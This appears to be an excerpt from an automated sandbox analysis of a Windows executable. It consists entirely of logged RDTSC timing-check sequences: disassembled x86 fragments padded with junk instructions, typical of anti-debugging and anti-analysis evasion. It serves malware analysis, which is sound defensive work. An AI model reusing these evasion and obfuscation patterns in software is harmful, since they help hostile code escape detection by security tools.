Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC0B92 second address: CC0BA4 instructions: 0x00000000 rdtsc 0x00000002 js 00007FB97CFF0156h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pushad 0x00000010 popad 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC0BA4 second address: CC0BAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC0BAA second address: CC0BAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC2132 second address: CC21DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB97CFE9222h 0x00000009 popad 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FB97CFE921Eh 0x00000011 nop 0x00000012 jo 00007FB97CFE9216h 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push ebx 0x0000001d call 00007FB97CFE9218h 0x00000022 pop ebx 0x00000023 mov dword ptr [esp+04h], ebx 0x00000027 add dword ptr [esp+04h], 00000015h 0x0000002f inc ebx 0x00000030 push ebx 0x00000031 ret 0x00000032 pop ebx 0x00000033 ret 0x00000034 sub dword ptr [ebp+1248FE50h], esi 0x0000003a push 00000000h 0x0000003c push 00000000h 0x0000003e push esi 0x0000003f call 00007FB97CFE9218h 0x00000044 pop esi 0x00000045 mov dword ptr [esp+04h], esi 0x00000049 add dword ptr [esp+04h], 00000018h 0x00000051 inc esi 0x00000052 push esi 0x00000053 ret 0x00000054 pop esi 0x00000055 ret 0x00000056 cld 0x00000057 mov ebx, dword ptr [ebp+122D1FCCh] 0x0000005d xchg eax, esi 0x0000005e jns 00007FB97CFE922Bh 0x00000064 push eax 0x00000065 pushad 0x00000066 jmp 00007FB97CFE921Dh 0x0000006b pushad 0x0000006c push eax 0x0000006d push edx 0x0000006e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC13BA second address: CC13D5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b jmp 00007FB97CFF015Fh 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC2413 second address: CC2418 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC33B9 second address: CC33BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC33BD second address: CC33C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC33C3 second address: CC33C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC33C8 second address: CC33CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC5388 second address: CC53D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FB97CFF015Fh 0x0000000a popad 0x0000000b push eax 0x0000000c jmp 00007FB97CFF0161h 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 and edi, dword ptr [ebp+122D2AB6h] 0x0000001c push eax 0x0000001d push ebx 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FB97CFF0164h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC4479 second address: CC44E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b jmp 00007FB97CFE9227h 0x00000010 push dword ptr fs:[00000000h] 0x00000017 xor dword ptr [ebp+122D1CCBh], eax 0x0000001d mov dword ptr fs:[00000000h], esp 0x00000024 movsx ebx, si 0x00000027 and edi, 56743124h 0x0000002d mov eax, dword ptr [ebp+122D0F49h] 0x00000033 mov dword ptr [ebp+122D24FFh], edi 0x00000039 push FFFFFFFFh 0x0000003b nop 0x0000003c ja 00007FB97CFE9224h 0x00000042 push eax 0x00000043 push esi 0x00000044 push eax 0x00000045 push edx 0x00000046 pushad 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC54AA second address: CC558E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB97CFF0162h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FB97CFF015Fh 0x0000000e popad 0x0000000f mov dword ptr [esp], eax 0x00000012 jmp 00007FB97CFF0166h 0x00000017 or dword ptr [ebp+1245F978h], ecx 0x0000001d push dword ptr fs:[00000000h] 0x00000024 push 00000000h 0x00000026 push ebx 0x00000027 call 00007FB97CFF0158h 0x0000002c pop ebx 0x0000002d mov dword ptr [esp+04h], ebx 0x00000031 add dword ptr [esp+04h], 0000001Ah 0x00000039 inc ebx 0x0000003a push ebx 0x0000003b ret 0x0000003c pop ebx 0x0000003d ret 0x0000003e and edi, dword ptr [ebp+122D210Ah] 0x00000044 mov dword ptr fs:[00000000h], esp 0x0000004b movzx edi, cx 0x0000004e mov eax, dword ptr [ebp+122D01A5h] 0x00000054 push 00000000h 0x00000056 push ecx 0x00000057 call 00007FB97CFF0158h 0x0000005c pop ecx 0x0000005d mov dword ptr [esp+04h], ecx 0x00000061 add dword ptr [esp+04h], 0000001Ch 0x00000069 inc ecx 0x0000006a push ecx 0x0000006b ret 0x0000006c pop ecx 0x0000006d ret 0x0000006e xor dword ptr [ebp+122D2E22h], eax 0x00000074 push FFFFFFFFh 0x00000076 sub dword ptr [ebp+122D1EE5h], eax 0x0000007c nop 0x0000007d pushad 0x0000007e jg 00007FB97CFF0160h 0x00000084 jl 00007FB97CFF015Ch 0x0000008a jng 00007FB97CFF0156h 0x00000090 popad 0x00000091 push eax 0x00000092 push eax 0x00000093 push edx 0x00000094 jmp 00007FB97CFF015Ch 0x00000099 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC7482 second address: CC7488 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC7488 second address: CC7492 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FB97CFF0156h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC662C second address: CC6632 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC6632 second address: CC6637 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC8413 second address: CC8426 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC8426 second address: CC8431 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FB97CFF0156h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC7696 second address: CC769B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC934A second address: CC935B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB97CFF015Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC956F second address: CC9591 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FB97CFE9229h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC9664 second address: CC9668 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC9668 second address: CC966E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCA5B7 second address: CCA5C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCF3FE second address: CCF412 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop ebx 0x00000006 push eax 0x00000007 pushad 0x00000008 ja 00007FB97CFE9218h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCF412 second address: CCF451 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FB97CFF0156h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c push esi 0x0000000d movsx edi, si 0x00000010 pop edi 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push eax 0x00000016 call 00007FB97CFF0158h 0x0000001b pop eax 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 add dword ptr [esp+04h], 00000015h 0x00000028 inc eax 0x00000029 push eax 0x0000002a ret 0x0000002b pop eax 0x0000002c ret 0x0000002d push 00000000h 0x0000002f movzx edi, si 0x00000032 xchg eax, esi 0x00000033 push esi 0x00000034 jbe 00007FB97CFF015Ch 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCF451 second address: CCF45D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pushad 0x0000000a popad 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCE554 second address: CCE598 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pop edx 0x00000008 nop 0x00000009 and di, 118Dh 0x0000000e push dword ptr fs:[00000000h] 0x00000015 movzx edi, dx 0x00000018 mov dword ptr fs:[00000000h], esp 0x0000001f xor edi, dword ptr [ebp+12480C72h] 0x00000025 mov eax, dword ptr [ebp+122D14C5h] 0x0000002b sbb edi, 15AD559Dh 0x00000031 push FFFFFFFFh 0x00000033 mov dword ptr [ebp+1244FAB8h], esi 0x00000039 nop 0x0000003a pushad 0x0000003b pushad 0x0000003c push esi 0x0000003d pop esi 0x0000003e pushad 0x0000003f popad 0x00000040 popad 0x00000041 pushad 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCE598 second address: CCE5AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c js 00007FB97CFE9216h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCF5E9 second address: CCF5F7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB97CFF015Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD07D7 second address: CD07E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C73D42 second address: C73D46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C73D46 second address: C73D4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C73D4A second address: C73D5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007FB97CFF0156h 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDA18E second address: CDA197 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDA197 second address: CDA1B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 pushad 0x00000007 je 00007FB97CFF015Eh 0x0000000d jng 00007FB97CFF0156h 0x00000013 push edi 0x00000014 pop edi 0x00000015 push eax 0x00000016 push edx 0x00000017 jng 00007FB97CFF0156h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDA1B4 second address: CDA1BF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD98E2 second address: CD98E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD98E7 second address: CD9907 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB97CFE9224h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b jp 00007FB97CFE9216h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD9A43 second address: CD9A4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD9A4A second address: CD9A51 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD9A51 second address: CD9A57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD9B8B second address: CD9B8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6D08F second address: C6D0A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 ja 00007FB97CFF0156h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6D0A0 second address: C6D0A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6D0A6 second address: C6D0AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6D0AA second address: C6D0B4 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FB97CFE9216h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6D0B4 second address: C6D0CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FB97CFF0161h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6D0CD second address: C6D0E0 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FB97CFE9216h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push edx 0x0000000e pop edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE06F6 second address: CE06FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE06FA second address: CE0700 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE0938 second address: CE093C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE093C second address: CE0946 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FB97CFE9216h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE0946 second address: CE094C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE094C second address: CE0950 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE0950 second address: CE0988 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB97CFF015Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d jmp 00007FB97CFF0161h 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 pushad 0x00000017 jc 00007FB97CFF0158h 0x0000001d pushad 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 push esi 0x00000022 pop esi 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE8D7D second address: CE8D81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE8D81 second address: CE8D85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE807A second address: CE809A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FB97CFE9216h 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FB97CFE9224h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE833A second address: CE834C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB97CFF015Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE834C second address: CE835D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB97CFE921Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE835D second address: CE8399 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FB97CFF015Ah 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pushad 0x0000000c jl 00007FB97CFF0156h 0x00000012 jmp 00007FB97CFF015Dh 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c push eax 0x0000001d push edx 0x0000001e push edx 0x0000001f jmp 00007FB97CFF015Fh 0x00000024 pop edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE84F8 second address: CE8508 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB97CFE921Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE864F second address: CE8655 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE87F6 second address: CE8801 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE8BF1 second address: CE8C0D instructions: 0x00000000 rdtsc 0x00000002 jng 00007FB97CFF0156h 0x00000008 jmp 00007FB97CFF0162h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE8C0D second address: CE8C15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE8C15 second address: CE8C19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEBA67 second address: CEBA73 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jno 00007FB97CFE9216h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEFC90 second address: CEFC94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEFC94 second address: CEFCBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FB97CFE9225h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c jp 00007FB97CFE9218h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEFCBC second address: CEFCC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEFCC2 second address: CEFCC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF5848 second address: CF5881 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 jbe 00007FB97CFF0156h 0x0000000b push edx 0x0000000c pop edx 0x0000000d pop edi 0x0000000e jp 00007FB97CFF0162h 0x00000014 push eax 0x00000015 push edx 0x00000016 jnl 00007FB97CFF0156h 0x0000001c jmp 00007FB97CFF0161h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF4250 second address: CF425F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jng 00007FB97CFE9216h 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF476C second address: CF4786 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB97CFF015Ch 0x00000009 popad 0x0000000a pushad 0x0000000b ja 00007FB97CFF0156h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF4786 second address: CF478C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF478C second address: CF4793 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF4793 second address: CF479D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FB97CFE9216h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF479D second address: CF47A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF4A92 second address: CF4A9A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF4A9A second address: CF4A9F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF4A9F second address: CF4ABB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB97CFE9224h 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF4ABB second address: CF4ACF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jne 00007FB97CFF0156h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF4ACF second address: CF4AD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF4AD3 second address: CF4AE1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007FB97CFF0156h 0x0000000e rdtsc
